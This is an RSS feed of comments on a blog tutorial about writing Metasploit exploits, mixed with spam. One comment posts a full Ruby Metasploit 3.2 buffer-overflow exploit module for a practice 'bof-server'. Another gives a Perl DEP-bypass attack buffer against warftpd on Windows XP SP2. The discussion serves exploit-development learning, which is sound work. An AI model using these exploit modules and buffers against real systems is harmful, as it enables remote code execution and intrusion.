<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Writing exploits for Metasploit 3.0</title>
	<atom:link href="http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/feed/" rel="self" type="application/rss+xml" />
	<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/</link>
	<description>Pirates are way cooler than Ninjas, but not as much as Samuraïs</description>
	<lastBuildDate>Sat, 04 Feb 2012 22:25:43 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
	<item>
		<title>By: brimejoslyn</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-108971</link>
		<dc:creator>brimejoslyn</dc:creator>
		<pubDate>Sun, 11 Dec 2011 13:41:24 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-108971</guid>
		<description>you definitely love  for gift   online shopping</description>
		<content:encoded><![CDATA[<p>you definitely love  for gift   online shopping</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: whalaymar</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-108970</link>
		<dc:creator>whalaymar</dc:creator>
		<pubDate>Sun, 11 Dec 2011 08:42:43 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-108970</guid>
		<description>СЂС‹Р±РѕР»РѕРІРЅС‹Рµ РїСѓС‚РµС€РµСЃС‚РІРёСЏ  &lt;b&gt;РїСѓС‚РµС€РµСЃС‚РІРёСЏ РІ РїР°СЂРёР¶ &lt;/b&gt;  
&lt;a href=&quot;http://hutravel.ru/%D0%B3%D0%B5%D1%80%D0%BC%D0%B0%D0%BD%D0%B8%D1%8F/%D0%B2%D0%BE%D0%BA%D1%80%D1%83%D0%B3-%D1%82%D0%B8%D1%80%D0%B3%D0%B0%D1%80%D1%82%D0%B5%D0%BD%D1%88%D1%82%D1%80%D0%B0%D1%81%D1%81%D0%B5&quot; rel=&quot;nofollow&quot;&gt;РїСѓС‚РµС€РµСЃС‚РІРёСЏ РїРѕ РєРёРїСЂСѓ &lt;/a&gt; РїСѓС‚РµС€РµСЃС‚РІРёСЏ С„РѕС‚РѕРіСЂР°С„РёРё  РїСѓС‚РµС€РµСЃС‚РІРёСЏ СЂРѕСЃСЃРёСЏ  РїСѓС‚РµС€РµСЃС‚РІРёСЏ РіРµСЂРјР°РЅРёСЏ</description>
		<content:encoded><![CDATA[<p>СЂС‹Р±РѕР»РѕРІРЅС‹Рµ РїСѓС‚РµС€РµСЃС‚РІРёСЏ  <b>РїСѓС‚РµС€РµСЃС‚РІРёСЏ РІ РїР°СЂРёР¶ </b><br />
<a href="http://hutravel.ru/%D0%B3%D0%B5%D1%80%D0%BC%D0%B0%D0%BD%D0%B8%D1%8F/%D0%B2%D0%BE%D0%BA%D1%80%D1%83%D0%B3-%D1%82%D0%B8%D1%80%D0%B3%D0%B0%D1%80%D1%82%D0%B5%D0%BD%D1%88%D1%82%D1%80%D0%B0%D1%81%D1%81%D0%B5" rel="nofollow">РїСѓС‚РµС€РµСЃС‚РІРёСЏ РїРѕ РєРёРїСЂСѓ </a> РїСѓС‚РµС€РµСЃС‚РІРёСЏ С„РѕС‚РѕРіСЂР°С„РёРё  РїСѓС‚РµС€РµСЃС‚РІРёСЏ СЂРѕСЃСЃРёСЏ  РїСѓС‚РµС€РµСЃС‚РІРёСЏ РіРµСЂРјР°РЅРёСЏ</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: mafri</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-108840</link>
		<dc:creator>mafri</dc:creator>
		<pubDate>Sun, 09 Oct 2011 03:33:28 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-108840</guid>
		<description>&lt;strong&gt;MAFRI...&lt;/strong&gt;

[...]redstack &#187; Blog Archive &#187; Writing exploits for Metasploit 3.0[...]...</description>
		<content:encoded><![CDATA[<p><strong>MAFRI&#8230;</strong></p>
<p>[...]redstack &raquo; Blog Archive &raquo; Writing exploits for Metasploit 3.0[...]&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: xipe</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-15157</link>
		<dc:creator>xipe</dc:creator>
		<pubDate>Sat, 26 Jun 2010 12:44:51 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-15157</guid>
		<description>Hi anony,

I tried the exploit (the one you can get in my comment of Sept. 29th 2009) with 3.2 and the latest trunk version (3.4.1-dev r9628) and it seems to work.

Can you post or mail me your code and I will check ?

Best regards,
- Xipe</description>
		<content:encoded><![CDATA[<p>Hi anony,</p>
<p>I tried the exploit (the one you can get in my comment of Sept. 29th 2009) with 3.2 and the latest trunk version (3.4.1-dev r9628) and it seems to work.</p>
<p>Can you post or mail me your code and I will check ?</p>
<p>Best regards,<br />
- Xipe</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: anony</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-14751</link>
		<dc:creator>anony</dc:creator>
		<pubDate>Sat, 26 Jun 2010 04:23:43 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-14751</guid>
		<description>Like the tutorial however I&#039;m having some issues reversing your final product written for 3.2
The metasploit 3.2 version you posted in the comments works just fine but i would like to go through the tutorial still. Because your 3.2 version is the final product i must make some changes so that it can be used in step one of your tutorial. When i do this I keep getting errors such as &quot;undefined method &#039;length&#039;&quot;. Have any time for a 3.2 rewrite?

Thanks, hope to see another how-to along these lines.</description>
		<content:encoded><![CDATA[<p>Like the tutorial however I&#8217;m having some issues reversing your final product written for 3.2<br />
The metasploit 3.2 version you posted in the comments works just fine but i would like to go through the tutorial still. Because your 3.2 version is the final product i must make some changes so that it can be used in step one of your tutorial. When i do this I keep getting errors such as &#8220;undefined method &#8216;length&#8217;&#8221;. Have any time for a 3.2 rewrite?</p>
<p>Thanks, hope to see another how-to along these lines.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: matad0r</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-9595</link>
		<dc:creator>matad0r</dc:creator>
		<pubDate>Sun, 10 Jan 2010 17:13:30 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-9595</guid>
		<description>Hi !
Very very helpful tutorial !
Thanks !</description>
		<content:encoded><![CDATA[<p>Hi !<br />
Very very helpful tutorial !<br />
Thanks !</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: xipe</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-7616</link>
		<dc:creator>xipe</dc:creator>
		<pubDate>Tue, 29 Sep 2009 17:23:02 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-7616</guid>
		<description>Hi Elv13,

With metasploit 3.2, some things change concerning the class definition.
You should replace :
&lt;pre lang=&quot;ruby&quot;&gt;
require &#039;msf/core&#039;
module Msf
  # class name should reflect directories
  class Exploits::Windows::Dummy::BofServer &lt; Msf::Exploit::Remote
    include Exploit::Remote::Tcp
&lt;/pre&gt;
with :
&lt;pre lang=&quot;ruby&quot;&gt;
require &#039;msf/core&#039;

class Metasploit3 &lt; Msf::Exploit::Remote
        include Msf::Exploit::Remote::Tcp
&lt;/pre&gt;

So the new file would be:
&lt;pre lang=&quot;ruby&quot;&gt;
require &#039;msf/core&#039;
  # class name should reflect directories                                                                                                                                                                                                                                              
  class Metasploit3 &lt; Msf::Exploit::Remote
    include Msf::Exploit::Remote::Tcp
 
    # exploit relative informations
    def initialize(info = {})
      super(update_info(info,
                        &#039;Name&#039;           =&gt; &#039;bof-server exploit&#039;,
                        &#039;Description&#039;    =&gt; &#039;This is an exploit for bof-server v0.01&#039;,
                        &#039;Author&#039;         =&gt; &#039;xipe&#039;, # You ;)
                        &#039;Version&#039;        =&gt; &#039;1.0&#039;,
                        &#039;Payload&#039;        =&gt;
                        {
                          &#039;Space&#039;    =&gt; 500, # Space that payload can use.
                                             # We found that we needed 520 bytes to make the
                                             # bof-server crash, but we will only use 500, as
                                             # the end of this space can be modified by the target
                                             # before returning.
                          &#039;StackAdjustment&#039; =&gt; -3500, # Modify stack pointer at shellcode start
                                                      # so it can use the stack without writing
                                                      # on itself.
                          &#039;BadChars&#039; =&gt; &quot;\x00\x20\x0D\x0A&quot;, # Chars that payloads should not
                                                            # contains.
                        },
                        &#039;Platform&#039;   =&gt; &#039;win&#039;,
                        &#039;Targets&#039;    =&gt;
                        [
                         [ &#039;Windows XP SP2 English&#039;,
                             {
                               &#039;Platform&#039; =&gt;&#039;win&#039;,
                               &#039;Ret&#039; =&gt; 0x22fb65 # Return address.                                                                                                                                                                                                                     
                             }
                          ],
                        ],
                        &#039;DefaultTarget&#039; =&gt; 0))
    end
 
    def check
      # Here we should check if the target is vulnerable                                                                                                                                                                                                                               
      # This function should not crash the target                                                                                                                                                                                                                                      
      connect
      buf = &quot;version\n&quot;
      sock.put(buf)
      res = sock.get
      disconnect
      if res =~ /bof-server v0.01/
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Safe
    end
 
    def exploit
      # Here we should exploit the target 
      connect
      buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.
      buf &lt;&lt; make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long
      buf &lt;&lt; [target.ret].pack(&#039;V&#039;) # Return address
      sock.put(buf) # send data
      sock.get
      handler # pass the connection to the payload handler
      disconnect
    end
end
&lt;/pre&gt;

Best regards,
- Xipe</description>
		<content:encoded><![CDATA[<p>Hi Elv13,</p>
<p>With metasploit 3.2, some things change concerning the class definition.<br />
You should replace :</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
<span style="color:#9966CC; font-weight:bold;">module</span> Msf
  <span style="color:#008000; font-style:italic;"># class name should reflect directories</span>
  <span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Exploits::Windows::Dummy::BofServer</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Exploit::Remote::Tcp</span></pre></div></div>

<p>with :</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">class</span> Metasploit3 <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
        <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote::Tcp</span></pre></div></div>

<p>So the new file would be:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
  <span style="color:#008000; font-style:italic;"># class name should reflect directories                                                                                                                                                                                                                                              </span>
  <span style="color:#9966CC; font-weight:bold;">class</span> Metasploit3 <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote::Tcp</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># exploit relative informations</span>
    <span style="color:#9966CC; font-weight:bold;">def</span> initialize<span style="color:#006600; font-weight:bold;">&#40;</span>info = <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">super</span><span style="color:#006600; font-weight:bold;">&#40;</span>update_info<span style="color:#006600; font-weight:bold;">&#40;</span>info,
                        <span style="color:#996600;">'Name'</span>           <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'bof-server exploit'</span>,
                        <span style="color:#996600;">'Description'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'This is an exploit for bof-server v0.01'</span>,
                        <span style="color:#996600;">'Author'</span>         <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'xipe'</span>, <span style="color:#008000; font-style:italic;"># You ;)</span>
                        <span style="color:#996600;">'Version'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'1.0'</span>,
                        <span style="color:#996600;">'Payload'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#123;</span>
                          <span style="color:#996600;">'Space'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">500</span>, <span style="color:#008000; font-style:italic;"># Space that payload can use.</span>
                                             <span style="color:#008000; font-style:italic;"># We found that we needed 520 bytes to make the</span>
                                             <span style="color:#008000; font-style:italic;"># bof-server crash, but we will only use 500, as</span>
                                             <span style="color:#008000; font-style:italic;"># the end of this space can be modified by the target</span>
                                             <span style="color:#008000; font-style:italic;"># before returning.</span>
                          <span style="color:#996600;">'StackAdjustment'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3500</span>, <span style="color:#008000; font-style:italic;"># Modify stack pointer at shellcode start</span>
                                                      <span style="color:#008000; font-style:italic;"># so it can use the stack without writing</span>
                                                      <span style="color:#008000; font-style:italic;"># on itself.</span>
                          <span style="color:#996600;">'BadChars'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00<span style="color:#000099;">\x</span>20<span style="color:#000099;">\x</span>0D<span style="color:#000099;">\x</span>0A&quot;</span>, <span style="color:#008000; font-style:italic;"># Chars that payloads should not</span>
                                                            <span style="color:#008000; font-style:italic;"># contains.</span>
                        <span style="color:#006600; font-weight:bold;">&#125;</span>,
                        <span style="color:#996600;">'Platform'</span>   <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'win'</span>,
                        <span style="color:#996600;">'Targets'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#91;</span>
                         <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#996600;">'Windows XP SP2 English'</span>,
                             <span style="color:#006600; font-weight:bold;">&#123;</span>
                               <span style="color:#996600;">'Platform'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'win'</span>,
                               <span style="color:#996600;">'Ret'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> 0x22fb65 <span style="color:#008000; font-style:italic;"># Return address.                                                                                                                                                                                                                     </span>
                             <span style="color:#006600; font-weight:bold;">&#125;</span>
                          <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#996600;">'DefaultTarget'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> check
      <span style="color:#008000; font-style:italic;"># Here we should check if the target is vulnerable                                                                                                                                                                                                                               </span>
      <span style="color:#008000; font-style:italic;"># This function should not crash the target                                                                                                                                                                                                                                      </span>
      connect
      buf = <span style="color:#996600;">&quot;version<span style="color:#000099;">\n</span>&quot;</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span>
      res = sock.<span style="color:#9900CC;">get</span>
      disconnect
      <span style="color:#9966CC; font-weight:bold;">if</span> res =~ <span style="color:#006600; font-weight:bold;">/</span>bof<span style="color:#006600; font-weight:bold;">-</span>server v0.01<span style="color:#006600; font-weight:bold;">/</span>
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Vulnerable</span>
      <span style="color:#9966CC; font-weight:bold;">end</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Safe</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target </span>
      connect
      buf = payload.<span style="color:#9900CC;">encoded</span> <span style="color:#008000; font-style:italic;"># Size of the payload is defined by Payload.Space in exploit infos.</span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> make_nops<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">20</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Some more bytes, as we defined the payload to be 500 bytes long</span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span>target.<span style="color:#9900CC;">ret</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">pack</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'V'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Return address</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># send data</span>
      sock.<span style="color:#9900CC;">get</span>
      handler <span style="color:#008000; font-style:italic;"># pass the connection to the payload handler</span>
      disconnect
    <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>Best regards,<br />
- Xipe</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Elv13</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-7614</link>
		<dc:creator>Elv13</dc:creator>
		<pubDate>Tue, 29 Sep 2009 15:48:12 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-7614</guid>
		<description>Hi, I try to use this exploit, but always fail with this error:
/opt/metasploit/framework-3.2/modules/exploits/linux/dummy/bof-server.rb: NameError /opt/metasploit/framework-3.2/data/msfweb/vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:116:in `qualified_const_defined?&#039;: &quot;#::Msf&quot; is not a valid constant name!

I use metasploit from Linux and ported your C code to Linux without much trouble. It seem to work (server crash normally), but I am not able to launch the exploit. I also installed bufserver on windows and try to hack it from Linux, but I fail too. Whats wrong?</description>
		<content:encoded><![CDATA[<p>Hi, I try to use this exploit, but always fail with this error:<br />
/opt/metasploit/framework-3.2/modules/exploits/linux/dummy/bof-server.rb: NameError /opt/metasploit/framework-3.2/data/msfweb/vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:116:in `qualified_const_defined?&#8217;: &#8220;#::Msf&#8221; is not a valid constant name!</p>
<p>I use metasploit from Linux and ported your C code to Linux without much trouble. It seem to work (server crash normally), but I am not able to launch the exploit. I also installed bufserver on windows and try to hack it from Linux, but I fail too. Whats wrong?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: abhijit mohanta</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-7121</link>
		<dc:creator>abhijit mohanta</dc:creator>
		<pubDate>Tue, 11 Aug 2009 09:14:27 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-7121</guid>
		<description>Hi,

I have one confusion in adding a exploit module to metasploit. that would exploit warftpd on xp sp2  bypass dep.

my $evil = &quot;\xcc&quot; x 485;
$evil .= &quot;\x80\x20\x95\x7c&quot;;
$evil .= &quot;\xff\xff\xff\xff&quot;;
$evil .= &quot;\xf8\xd3\x91\x7c&quot;;
$evil .= &quot;\xff\xff\xff\xff&quot;;
$evil .= &quot;\xcc&quot; x 0x54;
$evil .= pack(&quot;V&quot;, $target-&gt;[1]);
$evil .= $shellcode;
$evil .= &quot;\xcc&quot; x (1024 - length($evil));

 above is attack vector for DEP bypass acc to skape skywing paper &quot;Bypassing Windows Hardware-enforced    Data Execution Prevention&quot;.It is for the metasploit 2.7 that war in perl.

Can u please tell me how to code this in ruby.I have tried it but was not sucessful.

Abhijit</description>
		<content:encoded><![CDATA[<p>Hi,</p>
<p>I have one confusion in adding a exploit module to metasploit. that would exploit warftpd on xp sp2  bypass dep.</p>
<p>my $evil = &#8220;\xcc&#8221; x 485;<br />
$evil .= &#8220;\x80\x20\x95\x7c&#8221;;<br />
$evil .= &#8220;\xff\xff\xff\xff&#8221;;<br />
$evil .= &#8220;\xf8\xd3\x91\x7c&#8221;;<br />
$evil .= &#8220;\xff\xff\xff\xff&#8221;;<br />
$evil .= &#8220;\xcc&#8221; x 0&#215;54;<br />
$evil .= pack(&#8220;V&#8221;, $target-&gt;[1]);<br />
$evil .= $shellcode;<br />
$evil .= &#8220;\xcc&#8221; x (1024 &#8211; length($evil));</p>
<p> above is attack vector for DEP bypass acc to skape skywing paper &#8220;Bypassing Windows Hardware-enforced    Data Execution Prevention&#8221;.It is for the metasploit 2.7 that war in perl.</p>
<p>Can u please tell me how to code this in ruby.I have tried it but was not sucessful.</p>
<p>Abhijit</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bilal</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-6983</link>
		<dc:creator>Bilal</dc:creator>
		<pubDate>Wed, 05 Aug 2009 01:56:27 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-6983</guid>
		<description>Hi 

You are a star, you have impressed me and helped me a lot but writing this article. I am doing my project on buffer overflow attack and i have found this article very helpful

Thanks
Bilal</description>
		<content:encoded><![CDATA[<p>Hi </p>
<p>You are a star, you have impressed me and helped me a lot but writing this article. I am doing my project on buffer overflow attack and i have found this article very helpful</p>
<p>Thanks<br />
Bilal</p>
]]></content:encoded>
	</item>
</channel>
</rss>

